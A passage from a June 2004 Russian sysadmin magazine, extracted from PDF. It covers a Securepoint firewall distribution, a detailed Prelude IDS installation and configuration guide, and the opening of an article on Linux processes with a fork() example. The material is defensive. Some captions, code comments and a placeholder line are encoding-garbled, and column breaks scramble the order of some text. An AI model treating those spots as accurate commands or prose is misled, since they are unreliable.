гин для отфильтровки спама и контекстные фильтры, позволяющие блокировать нежелательный трафик, обеспечивая таким образом возможность защитить интеллектуальную собственность компании и конфиденциальную информацию. Для установки заходим в /opt/trendmicro и запускаем ./isinst, после чего следуем за инструкциями на экране, все настройки расписаны в файле readme_linux.txt. Настроить затем его можно при помощи веб-интерфейса. В /opt/avmailgate-2.0.0.6-Linux-glibc найдете AntiVir MailGate, которую также необходимо установить, запустив скрипт avinstall.pl. Поддерживается сканирование email, http, ftp и файлов. Антивирус совместим со многими Mail Transport Agents (MTA) вроде sendmail, postfix, qmail, exim. Работа идет по принципу промежуточного накопления, когда программа аvgated получает почту и хранит ее в промежуточном каталоге, а avgatefwd просматривает файлы, и если не находит в них ничего подозрительного, то переправляет файл дальше. Если же будет найден вирус, то будет отправлено сообщение по адресу, указанному в файле /opt/avmailgate-2.0.0.6-Linux-glibc/avmailgate/ etc/antivir.conf. Для частных пользователей лицензия бесплатна, но ее необходимо обновлять раз в год, и модификации доступны реже, чем для платных пользователей. И наконец система Securepoint Intrusion Detection System, позволяющая просматривать трафик, приходящий из внешний сети, а также установить датчики внутри всех контролируемых сетей. К использованию предлагаются коммерческий Nuzzler Server Edition, стоящий 99 евро, и свободный Basic Edition, для активации которого достаточно получить у компании ключ.
безопасность Nuzzler может обнаруживать возможные атаки, вирусы, trojans и т. п. Основная постановка включает более чем 1500 правил для различных категорий, к которым вы можете сами прибавлять новые правила и изменять старые, имеет интегрированную sniffer-систему, показывающую в реальном времени каждый блок данных (TCP, UDP и ICMP), не сохраняя его в журнал. Вот в принципе и все. В документации все подробно расписано. Вывод, я думаю, очевиден. Securepoint представляет собой удобное и законченное решение, позволяющее легко создавать сети любых конфигураций и следить за их безопасностью. Наличие же некотрых необязательных платных составляющих только добавляет плюсов к имиджу дистрибутива.
Ðèñóíîê 4
Ðèñóíîê 5
Ðèñóíîê 6
№6(19), июнь 2004
33
безопасность
ПРЕЛЮДИЯ ДЛЯ ЗАЩИТЫ
В предыдущем номере журнала в статье «Централизованное обнаружение вторжения с Samhain» была затронута возможность компилирования датчиков host-based intrusion detection system Samhain как датчиков другой IDS – Prelude. Как мне кажется, в последней сочетается довольно много положительных качеств, чтобы обратить на эту IDS пристальное внимание.
СЕРГЕЙ ЯРЕМЧУК 34
безопасность Проект начат в 1998 году (одновременно с началом разработки Snort), основной его целью было создание модульного сетевого IDS, но очень скоро разработчики поняли, что за технологиями все равно не угнаться, и пересмотрели свои подходы и требования к обеспечению безопасности систем. В результате Prelude представляет собой полнофункциональную, т.н. гибридную, IDS. Она разрабатывалась прежде всего для работы на компьютерах под управлением GNU/Linux, но поддерживаются также и *BSDсистемы, как и другие POSIX-совместимые системы, распространяется свободно по лицензии GPL. Суть гибридности Prelude заключается в том, что контролируются не только события, происходящие в сети, но и то, что творится на локальных компьютерах, что, с одной стороны, повышает вероятность обнаружения попытки вторжения, а с другой – уменьшает общее количество разнородных приложений, с которыми придется иметь дело системному администратору. Домашняя страница проекта: http:// www.prelude-ids.org. Состоит Prelude из нескольких частей: ! Сенсоры – основная часть всей системы обнаружения, развертываются на нескольких системах, чья безопасность контролируется. Они собирают всю информацию и сообщают администратору в случае обнаружения аномалий. ! LibPrelude – клей, связывающий все части вместе, предоставляет единый интерфейс стандартных вызовов IDMEF, основанный на XML, позволяет легко создавать сторонним разработчикам продукты «Prelude Aware». Используется всеми модулями Prelude. ! Prelude-nids – датчик сетевой системы обнаружения атак, который ищет знакомые сигнатуры в проходящих по сети пакетах. В одной сети достаточно иметь один такой сенсор, поэтому его можно установить, например, на сервер. По своей функциональности эквивалентен Snort. ! Prelude-lml – Prelude Log Monitoring Lackey – еще один датчик, на этот раз контролирующий логи. В случае появления подозрительных записей отправляет уведомление, является обязательным при использовании hostbased IDS-части. Может быть сконфигурирован как для просмотра локальных лог-файлов, так и работать в сетевом режиме, контролируя поступающие по сети данные. В последнем случае он может работать со всеми syslogсовместимыми данными, поступающими от firewall, маршрутизаторов, принтеров, других UNIX-систем и систем, которые могут преобразовать свои данные к требуемому формату (например, Windows NT/2K/XP – Ntsyslog – http://ntsyslog.sourceforge.net/). Построенный на PCRE (Perl Compatible Regular Expressions), состоит из плагинов, каждый из которых отвечает за анализ данных, поступающих от определенной программы, или утилиты: IpFw, IpChains, NtSyslog, GRSecurity, Exim, Portsentry, SSH, Squid и других. ! Libsafe – датчик, работающий только на Linux-системах, автоматически подхватывается Prelude при установленной в системе библиотеке libsafe (http:// www.research. avayalabs.com/project/libsafe). Эта библиотека позволяет защититься от атак типа format string
№6(19), июнь 2004
!
!
!
и buffer overflow, проверяя запросы к потенциально опасным вызовам вроде sprintf, strcpy, wcscpy и пытается обнаружить попытку переполнения буфера; если таковое обнаруживается, то выполнение опасной программы прерывается. Учитывая, что библиотека, в общем, справляется со своим назначением, а системные расходы незначительны, то ее можно рекомендовать к применению. Prelude-manager – предназначен для централизованного сбора данных, поступающих от всех датчиков, выдачи данных подсистеме, реагирующей на событие, и сохранение данных ( MySQL, PostgreSQL, Oracle, XML, plain-текст). В сети может быть несколько manager. Counter Measure Agents – исполнительня часть, получает данные относительно выявленной аномалии от manager и принимает меры по остановке нежелательных действий. frontends – для централизованного удобного просмотра собранных данных, выявления неисправностей, позволяет просто администрировать и способствует пониманию текущего состояния дел защиты. В этом качестве выступают P(erl|relude) IDS Web Interface и Prelude-php-frontend. Внешний интерфейс, написанный на Perl и РНР соответственно, предназначен для просмотра данных, собранных Prelude и занесенных в базу данных.
Но это еще не все. Кроме упомянутых возможностей в качестве сенсоров после наложения соответствующих патчей могут выступать Snort, Nessus, Nagios, Argus, Honeyd, SysTrace, Bro IDS, Hogwash и планируется AIDE. Также напомню, что датчики Samhain, которые позволяют контролировать довольно большое количество аномалий на хостах, могут быть скомпилированы с библиотекой LibPrelude, выступая тем самым и сенсором Prelude IDS. Все остальные возможности (в том числе и планируемые) Prelude IDS в виде удобных для восприятия таблиц представлены в документе «Prelude Feature Matrix» (http://www.preludeids.org/rubrique.php3?id_rubrique=24). Мы же пойдем далее.
Установка Prelude IDS Все основные компоненты для установки можно найти на странице http://www.prelude-ids.org/rubrique.php3?id_rubrique=6 в разделе Download Latest Version или Download Latest Snapshots. Как минимум потребуются пакеты libprelude, prelude-manager, prelude-nids, prelude-lml и Piwi. Дополнительно можно здесь же по ссылкам скачать и Libsafe, для работы с OpenBSD pf понадобится preludepflogger, а также патчи к соответствующим программам для реализации «Prelude aware»: ! Snort – Prelude reporting patch; ! Honeyd – Prelude reporting patch; ! Systrace – Prelude reporting patch; ! Nessus – Prelude reporting patch. Но это то, что сразу в глаза бросается; если посмотреть на столбик слева, то там найдете еще интересную колонку «Contributed Software», в которой найдете еще несколько патчей и расширений к Prelude (отправка алертов по e-mail,
35
безопасность сбор статистики, патчи к Nessus, Nagios, Honeyd, Bro IDS, convert_ruleset – скрипт, конвертирующий правила Snort (http://www.snort.org/downloads/snortrules.tar.gz), в правила, понятные Prelude NIDS, и другие полезности). Проверить скачанные пакеты можно, взяв ключ с: # gpg --keyserver wwwkeys.pgp.net --recv-keys 0x23D2FAC3
Если все нормально, то можно начинать. По ссылкам можно скачать и прекомпилированные rpm-пакеты, собранные под RedHat 7.3 – 9.0, в которых найдете даже nessus, заточенный под Prelude. Установка их заключается в основном в стандартном rpm -i *.rpm, но в дальнейшем у меня возни с ними было больше, поэтому будем затачивать все под свою систему, самостоятельно собирая из исходников (тем более это не так уж и трудно). Для поклонников Gentoo необходимые для сборки ebuild-файлы найдете в архиве piwi. Для начала скачиваем и ставим libsafe, которая, начиная с версии 2.11, может быть скомпилирована как датчик Prelude. Здесь все просто. #make
После окончания компиляции вводим: #make install
Теперь связываем переменную LD_PRELOAD с библиотекой: LD_PRELOAD=/lib/libsafe.so.2 export LD_PRELOAD
И заносим эти строки в файл /etc/profile. В файле /etc/ld.so.preload также желательна такая строка: /lib/libsafe.so.2. Теперь устанавливаем libprelude: #tar xvzf libprelude-0-8-latest.tar.gz #cd libprelude #./configure
Библиотека автоматически компилируется с поддержкой OpenSSL и требует наличия библиотек и заголовочных файлов. Из дополнительных опций стоит отметить enable-gtk-doc для формирования документации. #make #make install
После чего аналогично устанавливаем preludemanager. После конфигурирования возможно появление такой ошибки.
36
Совет установить переменную LIBPRELUDE_CONFIG не помог. Необходимо, чтобы место расположения файла libprelude-config было видно из переменной PATH. #PATH=$PATH:/usr/local/bin/ #export PATH
В конце отчет.
Конфигуратор сам найдет установленные в системе приложения, поэтому никаких опций первоначально можно и не задавать, только в случае нестандартного местонахождения требуемых утилит и приложений. И переходим к построению датчиков. Датчики могут быть установлены как на той же машине, что и preludemanager, так и разбросаны по всем машинам в сети. При этом во избежание дублирования в одной сети необходимо установить один датчик prelude-nids, а во избежание засорения лишними пакетами лучше его приткнуть на тот же компьютер, что и prelude-manager. Хотя, по большому счету, поступайте как вам удобнее, только помните, что сетевые датчики должны контролировать не только пакеты, поступающие из внешней сети, но и, чтобы пресечь действия некоторых «умников», стоять и во всех внутренних сетях. Действия и проблемы при установке prelude-nids и prelude-lml аналогичны предыдущим. После установки приступаем к конфигурированию. Все конфигурационные файлы после установки помещаются каждый в свой подкаталог в /usr/local/etc. Но для начала создадим базу данных: #/usr/local/bin/prelude-manager-db-create.sh
Команда задаст семь вопросов о паролях, пользователях и других параметрах, необходимых при создании новой базы данных, после чего выдает общий результат и после получения согласия попробует соединиться с выбранной СУБД и создает новую базу данных. Если все прошло удачно, можно запускать менеджер: #prelude-manager --mysql --dbhost localhost ↵ --dbname prelude --dbuser prelude --dbpass xxxxxx
Или лучше изменить секцию MySQL в конфигурационном файле /usr/local/etc/prelude-manager/prelude-manager.conf, воспользовавшись выводом утилиты: [MySQL] # Host the database is listening on. dbhost = localhost; # Port the database is listening on. dbport = 3306; # Name of the database. dbname = prelude; # Username to be used to connect the database. dbuser = prelude; # Password used to connect the database. dbpass = xxxxxx;
безопасность Не забудьте только вставить пароль вместо хххххх. Для того чтобы указать на интерфейс, где менеджер будет ожидать подключения сенсоров в файле preludemanager.conf, изменяем параметр sensors-srvr, в котором указываем нужный IP-адрес. Теперь можно приступать к регистрации сенсоров. Этот процесс в Prelude хоть и может забрать изрядное количество времени при большом их количестве, но все таки удобен и понятен и не требует особых и лишних телодвижений. Да, и не забудьте разрешить iptables пропускать эти пакеты. Для регистрации сенсора на сервере запускаем утилиту manager-adduser, которая будет ждать подключения нового клиента, для допуска которого будет выдан на консоль одноразовый пароль. А на клиентском компьютере параллельно запускается sensor-adduser с указанием названия регистрируемого сенсора и узла, где находится менеджер. # manager-adduser
Примечание: все, что программа вывела выше, появится только при первом запуске и требуется для генерации ключей. Как видите, можете указать требуемую длину ключа и время устаревания ключа (0 – без устаревания). Ниже – сообщения, относящиеся непосредственно к регистрации сенсора.
Если manager-adduser уже запущен, то смело жмем на Enter и два раза вводим выданные им одноразовые пароли.
В окне manager-adduser увидим для локального сенсора такое сообщение.
После чего он заканчивает свою работу. Единcтвенное, что может сбить с толку, – это запрашиваемое имя пользователя. В документации сказано, что это имя предназначено для внутреннего употребления и не должно совпадать с учетной записью в определенной системе. Других ограничений я не нашел. На этом регистрация сенсора и заканчивается. Это все действия, которые вам нужно будет проделать, для того чтобы libsafe сообщал Prelude IDS о проблемах. Все конфигурации сенсоров сохраняются в /usr/local/etc/prelude-sensors/. Для удаленного сенсора меняем только IP-адрес. Например, сенсор host-based IDS Samhain, об установке которого я писал в предыдущем номере журнала и имеющий довольно продвинутые возможности по детектированию локальных аномалий. #sensor-adduser --sensorname samhain --uid 0 ↵ --manager-addr 192.168.1.20
Вот и наш пароль.
Все, программа ждет подключения сенсора. Порядок регистрации сенсоров значения не имеет, начнем, наверное, с libsafe. На компьютере, сенсор которого вы регистрируете, вводим такую команду:
Обратите внимание: здесь не требуется вручную заводить пользователя и давать пароль, система генерирует ключ.
# sensor-adduser -s <òèï_ñåíñîðà> ↵ -m <IP-àäðåñ_ìåíåäæåðà> -u <UID_ïîëüçîâàòåëÿ>
В случае с локальным сенсором эта строка будет выглядеть так: # sensor-adduser -s libsafe -m 127.0.0.1 -u 0
№6(19), июнь 2004
37
безопасность
А в окне manager-adduser увидим такое сообщение.
неджером x.x.x.x:port, если это не получится, то с y.y.y.y и z.z.z.z, а если и эта попытка не увенчается успехом, то данные будут сохранены локально. Для lml-сенсора вce правила находятся /usr/local/etc/prelude-lml/ruleset/, узнать, какие из них задействованы, можно в файле simple.rules в строках include. Для ускорения работы можно закомментировать лишние, а новые, скачанные по ссылкам, здесь же подключить (например, от Exaprobe http://www.exaprobe.com/ labs/downloads), второй вариант создать свой файл с правилами и прописать его в prelude-lml.conf в блоке [SimpleMod] в строке ruleset, указав на новый файл с правилами. Аналогично все правила для nids-сенсора прописаны в /usr/local/etc/prelude-nids/ruleset/simple.rules. Запускаем сенсоры. # prelude-nids -i eth0
Для остальных сенсоров действия аналогичны: Запускаем опять на сервере manager-adduser и получаем новый одноразовый пароль. При помощи sensor-adduser регистрируем новый сенсор. Для остальных входящих в комплект сенсоров строка запуска будет иметь такой вид (для локальных сенсоров). # sensor-adduser -s prelude-nids -m 127.0.0.1 -u 0
Ага, забыли завести пользователя prelude. Можно по первой, при тестировании запустить от имени root (опция -u root), но в остальных случаях делаем как положено. Поэтому командой заводим пользователя prelude и при регистрации сенсоров не забываем указывать его uid.
# sensor-adduser -s prelude-lml -m 127.0.0.1 -u 0 #groupadd prelude #adduser --no-create-home --disabled-password --quiet ↵ --ingroup prelude prelude
Если локальные сенсоры (т.е. по IP – 127.0.0.1) можно удаленно регистрировать, зайдя на компьютер при помощи SSH, то регистрация удаленных сенсоров таким образом сильно затягивается, да и с безопасностью могут возникнуть проблемы. Теперь можно запускать, а заодно и проверить подключения. На сервере запускаем.
Пробуем еще раз. # prelude-nids -i eth0
# prelude-manager
Теперь очередь сенсоров. Libsafe подхватывается автоматически, а поэтому после регистрации можно о нем забыть. Остались два prelude-lml и prelude-nids. Указать параметры их запуска можно двумя способами: в строке запуска и в конфигурационных файлах (usr/local/etc/preludelml/prelude-lml.conf и /usr/local/etc/prelude-nids/preludenids.conf). Синтаксис их понятен и хорошо комментирован, для начала достаточно в обеих указать в строке manageraddr IP-адрес менеджера. При этом возможна запись такого вида: manager-addr = x.x.x.x:port || y.y.y.y && z.z.z.z
При этом сенсор попытается соединиться сначала с ме-
38
В это время в окне терминала, в котором запущен prelude-manager, должно появиться такое сообщение.
Обратите внимание на последние цифры: они соответствуют выданным программой при регистрации этого сенсора. С lml поступаем аналогично. # prelude-lml -u root
безопасность
После тестирования запускаем все приложения в качестве демонов. # prelude-manager -d
# prelude-lml -d
# prelude-nids -i eth1 -d
И так далее. Для автоматического запуска при старте системы создайте отдельный файл (например, rc.prelude) и пропишите строки для его запуска в /etc/rc.d/rc.local или /etc/rc.d/boot.local для SUSE. Теперь для тестирования можно посканировать сеть при помощи nmap или воспользоваться утилитами IDSwakeup (http://www.hsc.fr/ressources/outils/idswakeup/download/) или nidsbench (http:// www.anzen.com/research/nidsbench/), специально предназначенными для испытания NIDS. Теперь смотрим, что творится в лог-файлах. Кроме записи в базу данных текстовые логи ведутся в файле /var/ log/prelude.log и в формате XML в /var/log/prelude-xml.log. Там находим следующее.
Для немедленных уведомлений по почте используйте Perl-скрипт alert2mail (http://www.prelude-ids.org/download/ contribs/alert2mail). Использовать его просто, но потребуется модуль MIME::Lite. Первой строкой добавляем: #! /usr/bin/perl
Это забилось сердце сенсора NIDS. А ниже то, что он выловил в результате нашего испытания. При этом система пытается собрать максимальную информацию об объекте возмущения, в том числе и пытается определить удаленную операционную систему.
№6(19), июнь 2004
в строке From =>’root at localhost’ ставим необходимый e-mail, и при желании можно русифицировать сообщения. Теперь запускаем, скрипт будет считывать новые данные, поступающие в лог-файл (tail -f /var/log/prelude.log), и анализировать их, при появлении опасных строк администратору будет выслан e-mail. Другой скрипт http://www.prelude-ids.org/download/contribs/ prelude-stats-pl.txt позволяет собирать статистику на основании данных, найденных в /var/log/prelude.log. Чтобы не перегружать слишком сеть сообщения от одиночных сенсоров или удаленных групп сенсоров, возможно использование т.н. Relay Manager, которые собирают информацию от своей группы, а затем переправляют по цепочке центральному менеджеру. В файле prelude-manager.conf за их активацию отвечают два параметра, в которых требуется указать соответствующий IP-адрес(a): admin-srvr и relay-manager (в данном случае это следующий в цепочке Relay Manager, которому переправлять информацию).
39
безопасность Ставим интерфейс Все это хорошо, но при большом количестве данных лучше анализировать их при помощи выборок из базы данных. Хотя, кстати, имеется документ, рассказывающий, как сделать просмотр без фронтенда при помощи Internet Explorer: http://orbital.wiretapped.net/~technion. Совсем недавно на сайте появился GUI-инструмент Prelude GTK2 Frontend, который не хочет компилироваться нормально. В документации имеется упоминание на PHP, ncurses и java-фронтендах, но ссылок на сайте не нашел. Поэтому основным и довольно удобным средством просмотра и анализа результатов выступает Piwi – P(erl|relude) IDS Web Interface, позволяющий просматривать листинги предупреждений, в том числе и детально их сортировать, выводить информацию о IP- и MAC-адресах, операционной системе, проводить статистику атак по дням, часам, top 10 атак и атакующих и прочее, плюс возможность самостоятельного поиска при помощи регулярных выражений. Установка piwi сложностей не представляет. Для работы нам понадобятся (большинство, наверное, уже имеется, если нет, то придется установить, работать однозначно не будет): mysql или PostgreSQL, Аpache, не имеет значения какой – 1.3.x или 2.x, Perl от 5.6.x, DBI и DBD модули (DBD::mysql v2.9002 не работает), для вывода даты Date::Calc (http://search.cpan.org/author/STBEY). Опционально могут пригодиться Geo::IP (http://www.maxmind.com/ app/linux) для вывода страны по IP-адресу, для вывода графики GD, GD::Text, GD::Graph и GD::Graph3d (http:// www.boutell.com, http://stein.cshl.org/WWW/software/GD, http:// search.cpan.org/ author/MVERB), для генерации отчетов в форматах ps и pdf: ghostscript и PDF::API2, и для эффективной работы веб-сервера с perl и базой данных mod_perl (http://perl.httpd.org) и Apache::DBI (http://search.cpan.org/ author/ABH). Также рекомендуется Prelude компилировать с недавно появившейся библиотекой LibPreludeDB (http://www.preludeids.org/download/snapshots/trunk/libpreludedb-trunklatest.tar.gz), но это необязательно, да и ее компиляция вызывает пока только муки. Теперь, если все необходимое скачано и установлено, просто распаковываем архив в корневой каталог веб-сервера. Например для Slackware (в SUSE все серверные каталоги найдете в /srv). # cd /var/www/htdocs/ # tar -xzvf /path/to/piwi-0-8-latest.tar.gz
А Mandrake, ALTLinux и Gentoo это будет другая строка. #chown -R
apache.apache generated/
В общем, при наличии проблем с доступом проверьте все еще раз. Далее в подкаталоге Functions в файле config.pl исправьте параметры доступа к базе данных (в самом верху файла), вставьте туда значения, введенные при работе скрипта prelude-manager-db-create.sh. Примерно так. # Database : # çäåñü âûáèðàåì èñïîëüçóåìóþ áàçó äàííûõ mysql èëè Pg $conf{'dbtype'} = 'mysql'; # èìÿ ðàííåå ñîçäàííîé áàçû äàííûõ $conf{'dbname'} = 'prelude'; # óçåë, ãäå èñêàòü áàçó äàííûõ $conf{'dbhost'} = 'localhost'; # ýòî äëÿ mysql, äëÿ PostgreSQL èñïîëüçóéòå 5432 $conf{'dbport'} = 3306; # (òîëüêî äëÿ mysql) $conf{'dboptions'} = 'mysql_compression=1'; $conf{'dblogin'} = 'prelude'; $conf{'dbpasswd'} = 'õõõõõõ';
Теперь даем указание Apache на местонахождение исполняемого файла. Например: <Directory "/var/www/htdocs/piwi/"> Options +ExecCGI AddHandler cgi-script .pl </Directory>
Это в общем случае, но если не поленились установить Perl-модуль Apache::DBI и mod_perl для Apache, то пишем так. PerlModule Apache::DBI <Files *.pl> SetHandler perl-script PerlHandler Apache::PerlRun PerlSendHeader On </Files>
И добавляем к директиве DirectoryIndex через пробел файл index.pl. DirectoryIndex index.html index.htm index.pl
Причем разработчики не рекомендуют использовать в данном случае директиву ScriptAlias. Все, теперь перезапускаем Apache. # /etc/rc.d/apache2 restart
Теперь пользователя, от имени которого работает Apache, делаем хозяином подпапки generated. #chown -R nobody.nobody generated/
Здесь обратите внимание, что в разных дистрибутивах Apache выполняется от пользователей с разными именами. Так в том же SUSE строка будет выглядеть так. #chown -R
40
wwwrun.nogroup generated/
И пытаемся попасть на требуемую страницу. Если чтото не выходит, проблемы как всегда найдете в /var/log/ apache2/error_log. Например, такая запись свидетельствует о том, что скрипт не может присоединиться к MySQL.
безопасность Поэтому проверяем, не забыли ли вообще запустить MySQL (# ps aux | grep mysql). И проверяем еще раз все записи, сделанные в конфигурационных файлах. Для тестирования установок предназначена страница $piwi_directory/test/index.pl, сюда же попадете и в том случае, если не будут найдены обязательные компоненты, здесь получите всю информацию о текущих проблемах. Для ограничения доступа (необходимую информацию найдете в piwi/Docs/user_file_format.txt) к данным используются файлы, находящиеся в поддиректории Profiles/ с названием вида: имя_пользователя.user, т.е. на каждого пользователя один файл. По умолчанию там находятся два таких файла: admin.user и guest.user, чего достаточно в большинстве случаев. Параметров немного, сейчас достаточно изменить лишь один – IPAccess, который отвечает за допуск этого пользователя с определенного адреса или адресов. В качестве значения может быть точный адрес вида 192.168.1.200 или групповой для доступа из всей сети, например 192.168.255.255 (строка IPAccess=255.255.255.255 означает доступ с любого адреса). И не будет лишним, если будете использовать файлы .htaccess, .htpasswd или .htdigest и работать по защищенному каналу SSL, но на этом я останавливаться не буду. По адресу http:// www.giggled.org.uk/piwi_custom.html найдете документ, в котором описано, как расширить возможности piwi по сортировке IP-адресов.
Расширеное использование Prelude Хотел было уже заканчивать статью, но, перечитав все сначала, понял, что некоторые вопросы остались за кадром и требуют, чтобы за них замолвили хотя бы пару слов. А сериалов с вечным продолжением я не люблю, поэтому уж потерпите. Итак, как видите, Prelude довольно продвинутая IDS, к тому же обладающая возможностью наращивания как количественного, так и качественного, некоторые готовые решения уже имеются на сайте, а тем, кто может, позволено заточить любой необходимый сенсор, для того чтобы Prelude узнавала в нем своего. Сенсоров на отдельный хост можно понаставлять сколько душа пожелает, только вот вопрос – не потребуется ли для его нормальной работы второй процессор, а сеть переводить на гигабит. Поэтому увлекаться, наверное, не стоит, затраты по защите возрастут в несколько раз, а эффективность – на десятую процента. Наверное, стоит из всего предлагаемого комплекта выбрать то, что действительно необходимо для нормальной работы. Итак, для host-based-части, кроме штатного prelude-lml, умеющего работать только с логами и понимающего логи и других устройств, в том числе windows-систем, можно использовать сенсор samhain, в который вместить все, чего душа пожелает, и для очистки совести можно на критические системы вроде сервера или firewall установить на выбор libsafe или для более полного контроля над системнымы вызовами systrace (http://www.citi.umich.edu/u/provos/ systrace), патч для Prelude найдете: http://www.rstack.org/ oudot/prelude/systrace/files. Сразу оба использовать в большинстве случаев, я думаю, будет излишним.
№6(19), июнь 2004
Если вы поддались статьям Павла Заклякова и настроили Snort, то ничего страшного, наложив патч http:// www.prelude-ids.org/download/releases/snort-prelude-reportingpatch-latest.tar.gz и пересобрав его, можно затем использовать его как сенсор NIDS и отказаться совсем от установки prelude-nids (зачем два аналогичных по функциональности сенсора). Если же со Snort еще не сложилось, то, наверное, самым удобным вариантом будет конвертация правил Snort в правила Prеlude NIDS, подключение их к системе и можно использовать таким образом все наработки обеих команд. Патч к honeypot-системе honeyd (http://www.citi.umich.edu/ u/provos/honeyd, и патч http://www.rstack.org/oudot/prelude/ honeypots/files) позволяет собирать и в удобной форме анализировать информацию о действиях нападающей стороны, а сама honeypot-система при правильной и осторожной организации является неплохой приманкой для потенциальных взломщиков и к тому же практически не генерирует ошибки, поэтому в некоторых случаях является весьма полезной добавкой. И еще один интересный сенсор raprelude (http:// www.intrusion-lab.net/tools/raprelude), позволяющий фиксировать все виды сетевых событий, зарегистрированных демоном argus (http://qosient.com/argus). При помощи его можно отобрать весь трафик, идущий к определенному сервису на определенном компьютере или, например, нарушающий правила firewall. Для обнаружения аномалий в Wi-Fi 802.11 сетях предназначен появившийся совсем недавно сенсор WlanDetect (http://www.security-labs.org/wlandetect), определяющий на момент написания статьи 10 возможных нарушений. Патч к Nagios (http://www.nagios.org, сам патч http:// www.exaprobe.com/labs/downloads/Nagios_Plugin/preludenagios-0.0.2.tar.gz) позволяет централизованно контролировать состояние сетей и компьютеров. И последняя связка, без которой статья бы не была полной. Речь идет о сканере безопасности Nessus (http:// www.nessus.org), который также может работать в связке с Prelude после наложения патча http://www.prelude-ids.org/ download/releases/nessus-2.0.7-reporting-patch-v7.diff, плюс дополнительно используя инструменты http://www.rstack.org/ oudot/prelude/correlation, позволяет уменьшить количество предупреждений и в итоге сконцентироваться на действительно серьезных проблемах, помогут выявить соответствия между предупреждениями и, наконец, позволяют связать предупреждения и системные уязвимости и помочь в реальной оценке серьезности угрозы. Как видите, гибридная Prelude IDS обладает большой функциональностью, а гибкость при выборе различного вида сенсоров позволяет создать требуемую конфигурацию защитной системы. Но на этом проект не остановил свое развитие, и у разработчиков большие планы по интеграции, анализу и корреляции данных. Также планируется большая поддержка различных приложений, и не в последнюю очередь в списке стоят различные виды firewall (в том числе и аппаратные модели), позволяющие вовремя среагировать и остановить атаку. Несмотря на то что я пытался многое расказать в статье, думаю, что постепенно все же придется еще вернуться к Prelude, чтобы рассказать о нововведениях. Удачи.
41
программирование
ПРОЦЕССЫ В LINUX
Характерной чертой современных операционных систем является поддержка многозадачности – параллельного выполнения нескольких задач (task), что обеспечивается главным образом аппаратными возможностями центрального процессора. Под задачей понимают экземпляр программы, которая находится в стадии выполнения. Синонимом термина «задача» является термин «процесс», который впервые начали применять разработчики системы MULTICS в 60-х годах прошлого века.
ВЛАДИМИР МЕШКОВ Общие сведения о процессах Процесс состоит из адресного пространства и набора структур данных, содержащихся внутри ядра операционной системы. Адресное пространство представляет собой совокупность страниц памяти, которую ядро выделило для выполнения процесса. Оно содержит сегменты кода для программы, которую выполняет процесс, используемые процессом переменные, стек процесса и различную вспомогательную информацию, необходимую ядру во время работы процесса. В структурах данных ядра хранится различная информация о каждом процессе. К наиболее важным сведениям относятся: ! таблица распределения памяти процесса; ! текущий статус процесса; ! приоритет выполнения процесса; ! информация о ресурсах, которые использует процесс; ! владелец процесса. Совокупность всех процессов, выполняющихся в системе, образует иерархическую структуру, подобную дереву каталогов файловой системы. На вершине дерева процессов находится управляющий процесс init, являющийся предком всех системных и пользовательских процессов. С каждым процессом связан набор атрибутов, которые помогают системе управлять выполнением и планированием процессов. С точки зрения системного администрирования интерес представляют следующие атрибуты: ! Идентификатор процесса (PID). Каждому новому процессу ядро присваивает уникальный идентификационный номер. В любой момент времени идентификатор является уникальным, хотя после завершения процесса он может использоваться снова для другого процесса. Некоторые идентификаторы зарезервированы системой для особых процессов. Так, процесс с идентификатором 1 – это процесс инициализации init, являющийся предком всех других процессов в системе. ! Идентификатор родительского процесса (PPID). Новый процесс создается путем клонирования одного из уже существующих процессов. Исходный процесс в терминологии UNIX называется родительским, а его клон – порожденным. Помимо собственного идентификатора каждый процесс имеет атрибут PPID, т.е. идентификатор своего родительского процесса.
42
! Идентификатор владельца (UID) и эффективный иден-
!
! ! !
тификатор владельца (EUID). UID – это идентификационный номер пользователя, который создал данный процесс. Вносить изменения в процесс могут только его создатель и привилегированный пользователь. EUID – это «эффективный» UID процесса. EUID используется для того, чтобы определить, к каким ресурсам и файлам у процесса есть право доступа. У большинства процессов UID и EUID будут одинаковыми. Исключение составляют программы, у которых установлен бит смены идентификатора пользователя. Идентификатор группы (GID) и эффективный идентификатор группы (EGID). GID – это идентификационный номер группы данного процесса. EGID связан с GID также, как EUID с UID. Приоритет. От приоритета процесса зависит, какую часть времени центрального процессора он получит. Текущий каталог, корневой каталог, переменные программного окружения. Управляющий терминал (controlling terminal).
Жизненный цикл процесса Все процессы, кроме init, создаются при помощи системного вызова fork (процесс init создается во время начальной загрузки системы). Вызывая функцию fork, процесс создает свой дубликат, называемый дочерним процессом. Дочерний процесс является практически точной копией родительского, но имеет следующие отличия: ! у дочернего процесса свой PID; ! PPID дочернего процесса равен PID родителя. После выполнения fork родительский процесс может посредством системного вызова wait или waitpid приостановить свое выполнение до завершения порожденного (дочернего) процесса или продолжать свое выполнение независимо от дочернего, а дочерний процесс в свою очередь может запустить на выполнение новую программу при помощи одного из системных вызовов семейства exec. Совместное применение системных вызовов fork и exec представляет мощный инструмент для программиста. Благодаря ветвлению при использовании вызова exec в дочернем процессе может выполняться другая программа.
программирование Таким образом, один процесс может создавать несколько других процессов для параллельного выполнения нескольких программ, и поскольку каждый порожденный процесс выполняется в собственном адресном пространстве, статус его выполнения не влияет на родительский процесс. Процесс завершает выполнение при помощи системного вызова exit. Аргументом этого вызова является код статуса завершения процесса. Младшие восемь бит статуса доступны родительскому процессу при условии, что он выполнил системный вызов wait. По соглашению нулевой код статуса завершения означает, что процесс завершил выполнение успешно, а ненулевой свидетельствует о неудаче. Следующий пример демонстрирует работу вызова fork и порядок обработки кода статуса завершения процесса: #include #include #include #include #include
<stdio.h> <errno.h> <sys/wait.h> <sys/types.h> <unistd.h>
int main() { pid_t pid; int status;
// èäåíòèôèêàòîð ïðîöåññà // êîä ñòàòóñà çàâåðøåíèÿ ïðîöåññà
/* Ïðè ïîìîùè fork cîçäàåì äî÷åðíèé ïðîöåññ */ switch(pid = fork()) { case -1: perror("fork"); return -1; case 0: printf("Âûïîëíÿåòñÿ äî÷åðíèé ïðîöåññ\n"); /* Êîä ñòàòóñà çàâåðøåíèÿ ðàâåí 4 */ exit(4); }
